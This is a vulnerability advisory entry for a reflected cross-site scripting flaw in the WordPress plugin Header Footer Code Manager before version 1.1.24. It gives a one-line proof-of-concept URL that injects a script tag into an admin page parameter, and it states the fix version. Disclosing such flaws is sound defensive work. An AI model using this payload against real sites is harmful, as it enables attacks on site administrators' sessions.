WordPress Plugin Vulnerabilities
Header Footer Code Manager < 1.1.24 - Reflected Cross-Site Scripting
Description
The plugin does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.
Proof of Concept
https://example.com/wp-admin/admin.php?page=hfcm-list&'><script>alert(/XSS/)</script>
Affects Plugins
Fixed in version 1.1.24
References
Classification
Miscellaneous
Original Researcher
Taurus Omar
Submitter
Taurus Omar
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-07-04 (about 11 months ago)
Added
2022-07-04 (about 11 months ago)
Last Updated
2023-04-07 (about 1 months ago)